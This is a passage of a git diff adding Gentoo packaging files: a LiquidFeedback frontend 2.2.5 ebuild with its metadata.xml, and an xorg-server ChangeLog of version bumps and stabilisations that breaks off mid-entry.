+	doins "${FILESDIR}"/lqfb-apache.conf
+
+	fowners apache:apache /var/lib/${PN}/tmp
+}
diff --git a/www-apps/liquid_feedback_frontend/liquid_feedback_frontend-2.2.5.ebuild b/www-apps/liquid_feedback_frontend/liquid_feedback_frontend-2.2.5.ebuild
new file mode 100644
index 00000000..56601784
--- /dev/null
+++ b/www-apps/liquid_feedback_frontend/liquid_feedback_frontend-2.2.5.ebuild
@@ -0,0 +1,63 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/www-apps/liquid_feedback_frontend/liquid_feedback_frontend-2.2.2.ebuild,v 1.1 2013/05/28 12:51:56 tupone Exp $
+
+EAPI=4
+
+inherit eutils toolchain-funcs
+
+PN_F=${PN}
+PV_F=v${PV}
+MY_P=${PN}-v${PV}
+
+DESCRIPTION="Internet platforms for proposition development and decision making"
+HOMEPAGE="http://www.public-software-group.org/liquid_feedback"
+SRC_URI="http://www.public-software-group.org/pub/projects/liquid_feedback/frontend/v${PV}/${MY_P}.tar.gz"
+
+LICENSE="HPND CC-BY-2.5"
+SLOT="0"
+KEYWORDS="~amd64"
+IUSE="linguas_de linguas_el linguas_en linguas_eo linguas_it linguas_ro"
+
+RDEPEND=""
+DEPEND="www-apps/rocketwiki-lqfb
+	${RDEPEND}"
+
+S=${WORKDIR}/${MY_P}
+
+src_prepare () {
+	for lang in zh-Hans zh-TW ; do
+		rm -f locale/help/*.${lang}.txt
+	done
+	for lang in de el en eo it ; do
+		if ! use linguas_${lang}; then
+			rm -f locale/help/*.${lang}.txt
+		fi
+	done
+}
+
+src_compile() {
+	emake -C locale
+}
+
+src_install() {
+	dodoc README
+	dodoc "${FILESDIR}"/lqfb.example.com.conf
+	dodoc "${FILESDIR}"/postinstall-en.txt
+
+	insinto /var/lib/${PN}
+	doins -r app db env model static tmp utils
+	insinto /var/lib/${PN}/locale
+	doins locale/*.lua
+	insinto /var/lib/${PN}/locale/help
+	doins locale/help/*html
+
+	insinto /etc/${PN}
+	doins "${FILESDIR}"/myconfig.lua config/*
+	dosym /etc/${PN} /var/lib/${PN}/config
+
+	insinto /usr/share/${PN}
+	doins "${FILESDIR}"/lqfb-apache.conf
+
+	fowners apache:apache /var/lib/${PN}/tmp
+}
diff --git a/www-apps/liquid_feedback_frontend/metadata.xml b/www-apps/liquid_feedback_frontend/metadata.xml
new file mode 100644
index 00000000..19713331
--- /dev/null
+++ b/www-apps/liquid_feedback_frontend/metadata.xml
@@ -0,0 +1,13 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<maintainer>
+<email>tupone@gentoo.org</email>
+<name>Alfredo Tupone</name>
+</maintainer>
+<longdescription lang="en">
+LiquidFeedback is an open-source software, powering internet platforms for proposition development and decision making.
+LiquidFeedback is an independent open source project published under MIT license by the Public Software Group of Berlin, Germany.
+The developers of LiquidFeedback have joined together in the Interaktive Demokratie association to promote the use of electronic media for democratic processes.
+</longdescription>
+</pkgmetadata>
diff --git a/x11-base/xorg-server/ChangeLog b/x11-base/xorg-server/ChangeLog
new file mode 100644
index 00000000..3fee7d06
--- /dev/null
+++ b/x11-base/xorg-server/ChangeLog
@@ -0,0 +1,2958 @@
+# ChangeLog for x11-base/xorg-server
+# Copyright 1999-2010 Gentoo Foundation; Distributed under the GPL v2
+# $Header: /var/cvsroot/gentoo-x86/x11-base/xorg-server/ChangeLog,v 1.527 2010/09/05 11:59:11 remi Exp $
+
+  05 Sep 2010; Rémi Cardona <remi@gentoo.org> xorg-server-1.7.6.ebuild,
+  xorg-server-1.7.7-r1.ebuild, xorg-server-1.8.2.ebuild:
+  add missing libXv dep, fixes bug #335025
+
+  11 Aug 2010; Markus Meier <maekke@gentoo.org> xorg-server-1.7.7-r1.ebuild:
+  arm stable, bug #330593
+
+  06 Aug 2010; Markos Chandras <hwoarang@gentoo.org>
+  xorg-server-1.7.7-r1.ebuild:
+  Stable on amd64 wrt bug #330593
+
+  06 Aug 2010; Christian Faulhammer <fauli@gentoo.org>
+  xorg-server-1.7.7-r1.ebuild:
+  stable x86, bug 330593
+
+  02 Aug 2010; Raúl Porcel <armin76@gentoo.org> xorg-server-1.7.6.ebuild:
+  alpha/ia64/sh/sparc stable wrt #308521
+
+  31 Jul 2010; Chí-Thanh Christopher Nguyễn <chithanh@gentoo.org>
+  xorg-server-1.7.7-r1.ebuild:
+  Add patch to prefer nouveau over nv to 1.7.7 too
+
+*xorg-server-1.7.7-r1 (31 Jul 2010)
+
+  31 Jul 2010; Tomáš Chvátal <scarabeus@gentoo.org>
+  -xorg-server-1.7.7.ebuild, +xorg-server-1.7.7-r1.ebuild:
+  Add patches from nominations branch. So we can open stablerequest for
+  1.7.7-r1.
+
+  22 Jul 2010; Tomáš Chvátal <scarabeus@gentoo.org>
+  -xorg-server-1.8.0.ebuild, -xorg-server-1.8.1.901.ebuild,
+  -xorg-server-1.8.1.902.ebuild:
+  Drop older 1.8 series ebuilds.
+
+*xorg-server-1.8.2 (21 Jul 2010)
+
+  21 Jul 2010; Chí-Thanh Christopher Nguyễn <chithanh@gentoo.org>
+  +xorg-server-1.8.2.ebuild, +files/xorg-server-1.8-nouveau-default.patch:
+  Modify autoconfiguration to prefer nouveau over nv.
+
+*xorg-server-1.8.1.902 (26 Jun 2010)
+
+  26 Jun 2010; Rémi Cardona <remi@gentoo.org>
+  +xorg-server-1.8.1.902.ebuild:
+  bump to 1.8.1.902
+
+  18 Jun 2010; Tomáš Chvátal <scarabeus@gentoo.org>
+  xorg-server-1.8.1.901.ebuild:
+  No need to block dtrace anymore. Does not fail if it is around today.
+
+  10 Jun 2010; Rémi Cardona <remi@gentoo.org> xorg-server-1.8.1.901.ebuild:
+  add missing eselect-opengl call, fixes bug #321443
+
+*xorg-server-1.8.1.901 (09 Jun 2010)
+
+  09 Jun 2010; Tomáš Chvátal <scarabeus@gentoo.org>
+  -xorg-server-1.8.1-r1.ebuild, +xorg-server-1.8.1.901.ebuild,
+  -files/1.6.3.901-0001-dix-append-built-ins-to-the-font-path-in-SetDefaultF
+  .patch:
+  Version bump. Drop old.
+
+  31 May 2010; Guy Martin <gmsoft@gentoo.org> xorg-server-1.7.6.ebuild:
+  hppa stable, #308521
+
+  20 May 2010; Chí-Thanh Christopher Nguyễn <chithanh@gentoo.org>
+  xorg-server-1.8.1-r1.ebuild:
+  Depend on >=app-doc/doxygen-1.6.1 for building documentation.
+
+*xorg-server-1.8.1-r1 (19 May 2010)
+
+  19 May 2010; Tomáš Chvátal <scarabeus@gentoo.org>
+  -xorg-server-1.8.1.ebuild, +xorg-server-1.8.1-r1.ebuild:
+  Apply fixes per bug #320475. Thx to Andrew Brouwers for testing.
+
+*xorg-server-1.8.1 (15 May 2010)
+
+  15 May 2010; Rémi Cardona <remi@gentoo.org> +xorg-server-1.8.1.ebuild:
+  bump to 1.8.1, first swing at bug #315347 (based on an idea by Michał
+  Górny)
+
+  12 May 2010; Brent Baude <ranger@gentoo.org> xorg-server-1.7.6.ebuild:
+  Marking xorg-server-1.7.6 ppc64 stable for bug 308521
+
+  04 May 2010; Tomáš Chvátal <scarabeus@gentoo.org>
+  xorg-server-1.7.7.ebuild:
+  Drop already upstreamed patch.
+
+*xorg-server-1.7.7 (04 May 2010)
+
+  04 May 2010; Tomáš Chvátal <scarabeus@gentoo.org>
+  +xorg-server-1.7.7.ebuild:
+  Version bump.
+
+  18 Apr 2010; Markus Meier <maekke@gentoo.org> xorg-server-1.7.6.ebuild:
+  arm stable, bug #308521
+
+  18 Apr 2010; <nixnut@gentoo.org> xorg-server-1.7.6.ebuild:
+  ppc stable #308521
+
+  18 Apr 2010; Tomáš Chvátal <scarabeus@gentoo.org>
+  -files/1.4-fix-kdrive-automake.patch, -xorg-server-1.5.3-r6.ebuild,
+  -files/1.4-fpic-libxf86config.patch:
+  Drop xorg-server 1.5 series
+
+  16 Apr 2010; Pacho Ramos <pacho@gentoo.org> xorg-server-1.7.6.ebuild:
+  amd64 stable, bug 308521
+
+  13 Apr 2010; Lars Wendler <polynomial-c@gentoo.org>
+  xorg-server-1.8.0.ebuild:
+  fixing version on xinit blocker (D'oh)
+
+  13 Apr 2010; Lars Wendler <polynomial-c@gentoo.org>
+  xorg-server-1.8.0.ebuild:
+  Adding blocker for <x11-apps/xinit-1.2.1
+  Permission granted by scarabeus.
+
+  13 Apr 2010; Tomáš Chvátal <scarabeus@gentoo.org>
+  xorg-server-1.8.0.ebuild:
+  Actualy use correct variable.
+
+  13 Apr 2010; Tomáš Chvátal <scarabeus@gentoo.org>
+  xorg-server-1.8.0.ebuild:
+  Silence sandbox. Thanks to Brian (ferringb) for help.
+
+  13 Apr 2010; Tomáš Chvátal <scarabeus@gentoo.org>
+  xorg-server-1.8.0.ebuild:
+  Remove never triggered sdl dependency.
+
+*xorg-server-1.8.0 (13 Apr 2010)
+
+  13 Apr 2010; Tomáš Chvátal <scarabeus@gentoo.org>
+  +files/1.8.0-match-only-sane-devices.patch, +xorg-server-1.8.0.ebuild,
+  +files/1.8.0-no-hardcoded-etc.patch, +files/xdm-setup.initd-1,
+  +files/xdm.confd-3, +files/xdm.initd,
+  +files/xorg-server-disable-acpi.patch, metadata.xml:
+  Version bump to xorg-server 1.8.
+
+  11 Apr 2010; Chí-Thanh Christopher Nguyễn <chithanh@gentoo.org>
+  xorg-server-1.7.6.ebuild:
+  warn user about gcc-3 incompatibility, bug #314615
+
+  09 Apr 2010; Christian Faulhammer <fauli@gentoo.org>
+  xorg-server-1.7.6.ebuild:
+  stable x86, bug 308521
+
+  09 Apr 2010; Tomáš Chvátal <scarabeus@gentoo.org>
+  xorg-server-1.5.3-r6.ebuild, xorg-server-1.6.5-r1.ebuild,
+  xorg-server-1.7.6.ebuild:
+  Depend on old xinit which ships the init.d and conf.d files.
+
+*xorg-server-1.7.6 (17 Mar 2010)
+
+  17 Mar 2010; Tomáš Chvátal <scarabeus@gentoo.org>
+  -xorg-server-1.7.5.ebuild, -xorg-server-1.7.5.901.ebuild,
+  -xorg-server-1.7.5.902.ebuild, -xorg-server-1.7.5.902-r1.ebuild,
+  +xorg-server-1.7.6.ebuild:
+  Version bump to 1.7.6. Drop old 1.7 releases.
+
+*xorg-server-1.7.5.902-r1 (16 Mar 2010)
+
+  16 Mar 2010; Rémi Cardona <remi@gentoo.org>
+  +files/1.7.5.902-fix-tslib-1.0-check.patch, -files/tslib-1.0-check.patch,
+  +xorg-server-1.7.5.902-r1.ebuild:
+  really fix tslib support, fixes bug #304067
+
+  16 Mar 2010; <solar@gentoo.org> xorg-server-1.7.5.902.ebuild:
+  comment out tslib patch for a few hours. We ended up making it non
+  optional
+
+  16 Mar 2010; <solar@gentoo.org> +files/tslib-1.0-check.patch,
+  xorg-server-1.7.5.902.ebuild:
+  tslib changed the tslib-0.0.pc to tslib.pc; We check for both. Bug #304067
+
+*xorg-server-1.7.5.902 (15 Mar 2010)
+
+  15 Mar 2010; Chí-Thanh Christopher Nguyễn <chithanh@gentoo.org>
+  +xorg-server-1.7.5.902.ebuild:
+  version bump
+
+*xorg-server-1.7.5.901 (07 Mar 2010)
+
+  07 Mar 2010; Chí-Thanh Christopher Nguyễn <chithanh@gentoo.org>
+  +xorg-server-1.7.5.901.ebuild:
+  version bump
+
+*xorg-server-1.7.5 (16 Feb 2010)
+
+  16 Feb 2010; Tomáš Chvátal <scarabeus@gentoo.org>
+  -xorg-server-1.7.4.ebuild, -xorg-server-1.7.4.902.ebuild,
+  +xorg-server-1.7.5.ebuild:
+  Version bump to new release. Drop older.
+
+*xorg-server-1.7.4.902 (15 Feb 2010)
+
+  15 Feb 2010; Tomáš Chvátal <scarabeus@gentoo.org>
+  -xorg-server-1.7.4.901.ebuild, +xorg-server-1.7.4.902.ebuild:
+  Add new xorg-server 1.7.5 RC.
+
+*xorg-server-1.7.4.901 (30 Jan 2010)
+
+  30 Jan 2010; Tomáš Chvátal <scarabeus@gentoo.org>
+  +xorg-server-1.7.4.901.ebuild:
+  Version bump.
+
+  23 Jan 2010; Tomáš Chvátal <scarabeus@gentoo.org>
+  -xorg-server-1.6.3.901-r2.ebuild:
+  rm
+
+  18 Jan 2010; Raúl Porcel <armin76@gentoo.org>
+  xorg-server-1.6.5-r1.ebuild:
+  alpha/ia64/sh/sparc stable wrt #294958
+
+  14 Jan 2010; Markus Meier <maekke@gentoo.org> xorg-server-1.6.5-r1.ebuild:
+  arm stable, bug #294958
+
+  14 Jan 2010; Jeroen Roovers <jer@gentoo.org> xorg-server-1.6.5-r1.ebuild:
+  Stable for HPPA (bug #294958).
+
+*xorg-server-1.7.4 (10 Jan 2010)
+
+  10 Jan 2010; Tomáš Chvátal <scarabeus@gentoo.org>
+  -xorg-server-1.7.3.901-r1.ebuild, -xorg-server-1.7.3.902.ebuild,
+  +xorg-server-1.7.4.ebuild:
+  Version bump. Drop older.
+
+*xorg-server-1.7.3.902 (27 Dec 2009)
+
+  27 Dec 2009; Tomáš Chvátal <scarabeus@gentoo.org>
+  +xorg-server-1.7.3.902.ebuild:
+  Version bump.
+
+  27 Dec 2009; Joseph Jezak <josejx@gentoo.org> xorg-server-1.6.5-r1.ebuild:
+  Marked ppc stable for bug #294958.
+
+  26 Dec 2009; Tomáš Chvátal <scarabeus@gentoo.org>
+  xorg-server-1.7.3.901-r1.ebuild:
+  Depend correctly on mesa again.
+
+  24 Dec 2009; Tomáš Chvátal <scarabeus@gentoo.org>
+  -xorg-server-1.7.3.ebuild, -xorg-server-1.7.3.901.ebuild,
+  xorg-server-1.7.3.901-r1.ebuild:
+  Pdepend on mesa instead of rdepend. Drop older versions.
+
+*xorg-server-1.7.3.901-r1 (16 Dec 2009)
+
+  16 Dec 2009; Jim Ramsay <lack@gentoo.org>
+  +xorg-server-1.7.3.901-r1.ebuild,
+  +files/1.7.3.901-0001-dix-if-owner-events-is-true-for-passive-grabs-add-th
+  .patch:
+  Upstream patch fixes bug #296514
+
+  15 Dec 2009; Brent Baude <ranger@gentoo.org> xorg-server-1.6.5-r1.ebuild:
+  Marking xorg-server-1.6.5-r1 ppc64 stable for bug 294958
+
+  15 Dec 2009; Raúl Porcel <armin76@gentoo.org>
+  xorg-server-1.6.3.901-r2.ebuild:
+  alpha/ia64/sh/sparc stable wrt #282290
+
+  13 Dec 2009; Rémi Cardona <remi@gentoo.org> xorg-server-1.5.3-r6.ebuild:
+  clean up blockers
+
+*xorg-server-1.7.3.901 (13 Dec 2009)
+
+  13 Dec 2009; Tomáš Chvátal <scarabeus@gentoo.org>
+  +xorg-server-1.7.3.901.ebuild:
+  Add new rc.
+
+  13 Dec 2009; Rémi Cardona <remi@gentoo.org> xorg-server-1.5.3-r6.ebuild:
+  drop unused VIDEO_CARDS
+
+  11 Dec 2009; Tomáš Chvátal <scarabeus@gentoo.org>
+  -xorg-server-1.5.3-r7.ebuild, -xorg-server-1.6.5.ebuild,
+  -xorg-server-1.7.1.ebuild:
+  Drop no-longer required ebuild.
+
+  10 Dec 2009; Christian Faulhammer <fauli@gentoo.org>
+  xorg-server-1.6.5-r1.ebuild:
+  x86 stable, bug 294958
+
+  10 Dec 2009; Samuli Suominen <ssuominen@gentoo.org>
+  xorg-server-1.6.5-r1.ebuild:
+  amd64 stable wrt #294958
+
+  06 Dec 2009; Tomáš Chvátal <scarabeus@gentoo.org>
+  -xorg-server-1.7.2.ebuild:
+  Drop broken release.
+
+*xorg-server-1.7.3 (03 Dec 2009)
+
+  03 Dec 2009; Rémi Cardona <remi@gentoo.org> +xorg-server-1.7.3.ebuild:
+  bump to 1.7.3
+
+  28 Nov 2009; Tomáš Chvátal <scarabeus@gentoo.org>
+  xorg-server-1.5.3-r6.ebuild, xorg-server-1.5.3-r7.ebuild,
+  xorg-server-1.6.3.901-r2.ebuild, xorg-server-1.6.5.ebuild,
+  xorg-server-1.6.5-r1.ebuild, xorg-server-1.7.1.ebuild,
+  xorg-server-1.7.2.ebuild:
+  Drop --impl-headers since the call was dropped from new eselect, and
+  should be quite useless anyway.
+
+*xorg-server-1.7.2 (28 Nov 2009)
+
+  28 Nov 2009; Tomáš Chvátal <scarabeus@gentoo.org>
+  +xorg-server-1.7.2.ebuild:
+  Version bump to new stable from 1.7 series.
+
+  22 Nov 2009; Tomáš Chvátal <scarabeus@gentoo.org>
+  -files/1.6.4-re-fix-DGA-removal.patch:
+  Drop stale patches.
+
+*xorg-server-1.6.5-r1 (18 Nov 2009)
+
+  18 Nov 2009; Rémi Cardona <remi@gentoo.org> -xorg-server-1.6.4.ebuild,
+  +xorg-server-1.6.5-r1.ebuild:
+  add patches nominated patches for 1.6.6
+
+  29 Oct 2009; Tomáš Chvátal <scarabeus@gentoo.org>
+  xorg-server-1.6.5.ebuild:
+  Drop down the added blockers since they does not work how i expected.
+
+  29 Oct 2009; Rémi Cardona <remi@gentoo.org> xorg-server-1.7.1.ebuild:
+  sync with the overlay, update dmx deps (fixes bug #290866)
+
+  29 Oct 2009; Tomáš Chvátal <scarabeus@gentoo.org>
+  xorg-server-1.6.5.ebuild:
+  Add proper blockers for xorg-7.5 stuff we dont want with xorg-server-1.6.
+  Per bug #290739.
+
+  26 Oct 2009; Jeroen Roovers <jer@gentoo.org>
+  xorg-server-1.6.3.901-r2.ebuild:
+  Stable for HPPA (bug #282290).
+
+*xorg-server-1.7.1 (23 Oct 2009)
+
+  23 Oct 2009; Tomáš Chvátal <scarabeus@gentoo.org>
+  -xorg-server-1.7.0.902.ebuild, +xorg-server-1.7.1.ebuild:
+  Version bump.
+
+*xorg-server-1.7.0.902 (19 Oct 2009)
+
+  19 Oct 2009; Tomáš Chvátal <scarabeus@gentoo.org>
+  -xorg-server-1.7.0.901.ebuild, +xorg-server-1.7.0.902.ebuild:
+  Bump. Remove old one.
+
+*xorg-server-1.7.0.901 (14 Oct 2009)
+
+  14 Oct 2009; Tomáš Chvátal <scarabeus@gentoo.org>
+  -files/1.7.0-xkb-check-permissions-on-XKM_OUTPUT_DIR.patch,
+  -xorg-server-1.7.0.ebuild, +xorg-server-1.7.0.901.ebuild:
+  Version bup xorg-server 1.7. Remove old one.
+
+*xorg-server-1.6.5 (12 Oct 2009)
+
+  12 Oct 2009; Rémi Cardona <remi@gentoo.org> +xorg-server-1.6.5.ebuild:
+  bump to 1.6.5, has the DGA fix
+
+  11 Oct 2009; nixnut <nixnut@gentoo.org> xorg-server-1.6.3.901-r2.ebuild:
+  ppc stable #282290
+
+  09 Oct 2009; Markus Meier <maekke@gentoo.org>
+  xorg-server-1.6.3.901-r2.ebuild:
+  arm stable, bug #282290
+
+  05 Oct 2009; Christian Faulhammer <fauli@gentoo.org>
+  xorg-server-1.6.3.901-r2.ebuild:
+  x86 stable, bug 282290
+
+*xorg-server-1.7.0 (03 Oct 2009)
+
+  03 Oct 2009; Tomáš Chvátal <scarabeus@gentoo.org>
+  +files/1.7.0-xkb-check-permissions-on-XKM_OUTPUT_DIR.patch,
+  +xorg-server-1.7.0.ebuild:
+  Version bump for xorg-server 1.7.
+
+  02 Oct 2009; Rémi Cardona <remi@gentoo.org>
+  +files/1.6.4-re-fix-DGA-removal.patch, xorg-server-1.6.4.ebuild:
+  add patch to fix crasher bug #286746
+
+  30 Sep 2009; Samuli Suominen <ssuominen@gentoo.org>
+  xorg-server-1.6.3.901-r2.ebuild:
+  amd64 stable wrt #282290
+
+*xorg-server-1.6.4 (28 Sep 2009)
+
+  28 Sep 2009; Rémi Cardona <remi@gentoo.org> +xorg-server-1.6.4.ebuild:
+  bump to 1.6.4
+
+  28 Sep 2009; Rémi Cardona <remi@gentoo.org>
+  -files/1.2.0-fix-amd-cpu-detection.patch,
+  -files/1.3.0.0-fix-dual-head-screen-resolutions.patch,
+  -files/xorg-server-sam225bw-quirks.patch,
+  -files/xorg-x11-server-1.0.1-fpic-libxf86config.patch,
+  -files/xorg-server-1.4.0.90-automake-1.10.1-fixup.patch,
+  -files/xorg-xserver-1.4-cve-2008-1377.diff,
+  -files/xorg-xserver-1.4-cve-2008-1379.diff,
+  -files/xorg-xserver-1.4-cve-2008-2360.diff,
+  -files/xorg-xserver-1.4-cve-2008-2361.diff,
+  -files/xorg-xserver-1.4-cve-2008-2362.diff, -xorg-server-1.6.3.ebuild,
+  -files/1.3-0003-Fix-for-CVE-2007-6427-Xinput-extension-memory-corr.patch,
+  -files/1.2.0-properly-free-device-devprivates-memory-leak-fix.patch,
+  -files/1.3.0.0-fix-randr-resizing.patch,
+  -files/1.5.1/0001-only-build-dri2-when-DRI2-is-enabled.patch,
+  -xorg-server-1.6.3.901.ebuild, -xorg-server-1.6.3.901-r1.ebuild,
+  -files/1.3-0006-Fix-for-CVE-2007-5958-File-existence-disclosure.patch,
+  -files/1.2.0-typo-fix.patch,
+  -files/1.2.0-zero-out-client-devprivates-on-allocation.patch,
+  -files/1.3.0.0-fix-xephyr-amd64-segfault.patch,
+  -files/1.3.0.0-fix-xkb-openoffice-hangs.patch,
+  -files/1.3.0.0-ramdac.patch, -files/1.3.0.0-use-proc-instead-of-sys.patch,
+  -files/1.3.0.0-xephyr_crash_at_exit.patch,
+  -files/1.3-alpha-build-fix.patch,
+  -files/1.4-0001-Fix-for-CVE-2007-5760-XFree86-Misc-extension-out-o.patch,
+  -files/1.4-0002-Fix-for-CVE-2007-6428-TOG-cup-extension-memory-cor.patch,
+  -files/1.4-0003-Fix-for-CVE-2007-6427-Xinput-extension-memory-corr.patch,
+  -files/1.4-0004-Fix-for-CVE-2007-6429-MIT-SHM-and-EVI-extensions-i.patch,
+  -files/1.4-0005-Fix-for-CVE-2008-0006-PCF-Font-parser-buffer-overf.patch,
+  -files/1.4-0006-Fix-for-CVE-2007-5958-File-existence-disclosure.patch,
+  -files/1.4-0007-CVE-2007-6429-Don-t-spuriously-reject-8bpp-shm-pix.patch,
+  -files/1.4-0008-CVE-2007-6429-Always-test-for-size-offset-wrapping.patch,
+  -files/1.4-0009-Don-t-break-grab-and-focus-state-for-a-window-when-r.patch
+  , -files/1.4-document-new-font-catalogs.patch,
+  -files/1.4-dont-hang-openoffice.patch, -files/1.4-fix-dmx-build.patch,
+  -files/1.4-fix-dmx-link.patch, -files/1.4-fix-xephyr-link.patch,
+  -files/1.4-fix-xprint-build.patch, -files/1.4-fix-xprint-link.patch,
+  -files/1.4-ia64.patch, -files/1.4.0.90-clean-generated-files.patch,
+  -files/1.5.2-fix-xvesa-with-new-kernels.patch,
+  -files/1.5.2-force-LC_ALL-C-when-running-awk.patch,
+  -files/1.5.3-builtin-fonts.patch,
+  -files/avoid-crash-on-minimized-xv-window.patch,
+  -files/use-composite-for-unequal-depths.patch, -files/xprint.init:
+  drop old ebuilds, prune ${FILESDIR}
+
+  19 Sep 2009; Rémi Cardona <remi@gentoo.org> xorg-server-1.5.3-r6.ebuild,
+  xorg-server-1.5.3-r7.ebuild:
+  add missing openssl dep (fixes bug #283841)
+
+  19 Sep 2009; Tomáš Chvátal <scarabeus@gentoo.org>
+  -xorg-server-1.3.0.0-r6.ebuild, -xorg-server-1.4.2.ebuild:
+  Cleanup. Removal of old xorg versions.
+
+*xorg-server-1.6.3.901-r2 (15 Sep 2009)
+
+  15 Sep 2009; Tomáš Chvátal <scarabeus@gentoo.org>
+  +xorg-server-1.6.3.901-r2.ebuild:
+  Version bump to have working env with eselect-opengl 1.0.8
+
+  04 Sep 2009; Rémi Cardona <remi@gentoo.org>
+  xorg-server-1.6.3.901-r1.ebuild:
+  small clean ups in ebuild, sync up with -9999 from x11 overlay
+
+*xorg-server-1.6.3.901-r1 (04 Sep 2009)
+
+  04 Sep 2009; Rémi Cardona <remi@gentoo.org>
+  +xorg-server-1.6.3.901-r1.ebuild,
+  +files/1.6.3.901-0001-dix-append-built-ins-to-the-font-path-in-SetDefaultF
+  .patch:
+  add a patch to fix bug #278487, split drivers into x11-base/xorg-drivers
+
+  26 Aug 2009; Rémi Cardona <remi@gentoo.org>
+  -xorg-server-1.6.2.901.ebuild:
+  drop old ebuilds
+
+*xorg-server-1.6.3.901 (26 Aug 2009)
+
+  26 Aug 2009; Rémi Cardona <remi@gentoo.org>
+  +xorg-server-1.6.3.901.ebuild:
+  bump to 1.6.3.901 (should fix bugs #280443, #281634 and #281698)
+
+  14 Aug 2009; Rémi Cardona <remi@gentoo.org>
+  xorg-server-1.3.0.0-r6.ebuild, xorg-server-1.4.2.ebuild:
+  drop the old synaptics driver from DEPEND
+
+  10 Aug 2009; Rémi Cardona <remi@gentoo.org> xorg-server-1.5.3-r6.ebuild,
+  xorg-server-1.5.3-r7.ebuild, xorg-server-1.6.2.901.ebuild,
+  xorg-server-1.6.3.ebuild:
+  reverting the previous commit, see bug #278487
+
+  08 Aug 2009; Gordon Malm <gengor@gentoo.org> xorg-server-1.5.3-r6.ebuild,
+  xorg-server-1.5.3-r7.ebuild, xorg-server-1.6.2.901.ebuild,
+  xorg-server-1.6.3.ebuild:
+  Xvfb requires font-cursor-misc runtime, bug #278487.
+
+  02 Aug 2009; Rémi Cardona <remi@gentoo.org> -xorg-server-1.6.2.ebuild,
+  -xorg-server-1.6.2-r1.ebuild:
+  drop old ebuilds
+
+*xorg-server-1.6.3 (02 Aug 2009)
+
+  02 Aug 2009; Rémi Cardona <remi@gentoo.org> +xorg-server-1.6.3.ebuild:
+  bump to 1.6.3, drop useless D-Bus sed hack
+
+  01 Aug 2009; Tomáš Chvátal <scarabeus@gentoo.org>
+  xorg-server-1.5.3-r6.ebuild:
+  Remove fglrx occurance in remaining stable server. Silences repoman quite
+  well.
+
+  29 Jul 2009; Tomáš Chvátal <scarabeus@gentoo.org>
+  xorg-server-1.3.0.0-r6.ebuild:
+  Version 1.3 no longer supports fglrx module.
+
+*xorg-server-1.6.2.901 (28 Jul 2009)
+
+  28 Jul 2009; Rémi Cardona <remi@gentoo.org>
+  +xorg-server-1.6.2.901.ebuild:
+  bump to 1.6.2.901 with two patches to fix bug #278760
+
+  17 Jul 2009; Mart Raudsepp <leio@gentoo.org> xorg-server-1.6.2.ebuild,
+  xorg-server-1.6.2-r1.ebuild:
+  Update VIDEO_CARDS=geode dependency to xf86-video-geode-2.11, as earlier
+  versions do not compile against xorg-server-1.6+
+
+  17 Jul 2009; Rémi Cardona <remi@gentoo.org> xorg-server-1.6.2-r1.ebuild:
+  make the ebuild call eautoreconf (fixes bug #276187 again)
+
+  13 Jul 2009; Rémi Cardona <remi@gentoo.org>
+  xorg-server-1.3.0.0-r6.ebuild, xorg-server-1.4.2.ebuild,
+  xorg-server-1.5.3-r6.ebuild, xorg-server-1.5.3-r7.ebuild,
+  xorg-server-1.6.2.ebuild, xorg-server-1.6.2-r1.ebuild:
+  drop unsupported drivers from INPUT_DEVICES (see bug #277521)
+
+  11 Jul 2009; Rémi Cardona <remi@gentoo.org> xorg-server-1.6.2.ebuild,
+  xorg-server-1.6.2-r1.ebuild:
+  add newport back (see bug #277034)
+
+  10 Jul 2009; Rémi Cardona <remi@gentoo.org>
+  -xorg-server-1.6.1.901-r4.ebuild, -xorg-server-1.6.1.902.ebuild,
+  -xorg-server-1.6.1.902-r1.ebuild:
+  drop old ebuilds
+
+*xorg-server-1.6.2-r1 (10 Jul 2009)
+
+  10 Jul 2009; Rémi Cardona <remi@gentoo.org> +xorg-server-1.6.2-r1.ebuild:
+  backport another few fixes from upstream
+
+  08 Jul 2009; Rémi Cardona <remi@gentoo.org> xorg-server-1.6.2.ebuild:
+  backport patch to fix build on BSD (fixes bug #276187)
+
+*xorg-server-1.6.2 (08 Jul 2009)
+
+  08 Jul 2009; Rémi Cardona <remi@gentoo.org> +xorg-server-1.6.2.ebuild:
+  bump to 1.6.2 still with patches (one for libXinerama dep, the other for
+  xfs bug #236847)
+
+*xorg-server-1.6.1.902-r1 (06 Jul 2009)
+
+  06 Jul 2009; Rémi Cardona <remi@gentoo.org>
+  +xorg-server-1.6.1.902-r1.ebuild:
+  add 2 more patches to drop useless dep on libXinerama (fixes bug #270648)
+
+  06 Jul 2009; Rémi Cardona <remi@gentoo.org>
+  -xorg-server-1.6.1.901-r5.ebuild:
+  drop broken RC
+
+  06 Jul 2009; Tomáš Chvátal <scarabeus@gentoo.org>
+  xorg-server-1.6.1.902.ebuild:
+  Adjust ati-drivers dependency on 9.6.
+
+*xorg-server-1.6.1.902 (03 Jul 2009)
+
+  03 Jul 2009; Rémi Cardona <remi@gentoo.org>
+  +xorg-server-1.6.1.902.ebuild:
+  bump to 1.6.1.902, add a couple patches to tentatively fix bug #275861
+
+*xorg-server-1.6.1.901-r5 (28 Jun 2009)
+
+  28 Jun 2009; Rémi Cardona <remi@gentoo.org>
+  +xorg-server-1.6.1.901-r5.ebuild:
+  backport some more patches from upstream's 1.6 nominations, bump dri2proto
+  dep to 2.1
+
+  28 Jun 2009; Rémi Cardona <remi@gentoo.org> -xorg-server-1.5.3-r5.ebuild,
+  -xorg-server-1.6.1.901-r2.ebuild, -xorg-server-1.6.1.901-r3.ebuild:
+  drop old ebuilds
+
+  24 Jun 2009; Doug Goldstein <cardoe@gentoo.org>
+  xorg-server-1.6.1.901-r2.ebuild, xorg-server-1.6.1.901-r3.ebuild,
+  xorg-server-1.6.1.901-r4.ebuild:
+  re-apply the same nvidia-drivers fix from several months ago cause it
+  keeps disapearing.
+
+  23 Jun 2009; Tobias Klausmann <klausman@gentoo.org>
+  xorg-server-1.5.3-r6.ebuild:
+  Stable on alpha, finally
+
+*xorg-server-1.6.1.901-r4 (23 Jun 2009)
+*xorg-server-1.5.3-r7 (23 Jun 2009)
+
+  23 Jun 2009; Tomáš Chvátal <scarabeus@gentoo.org>
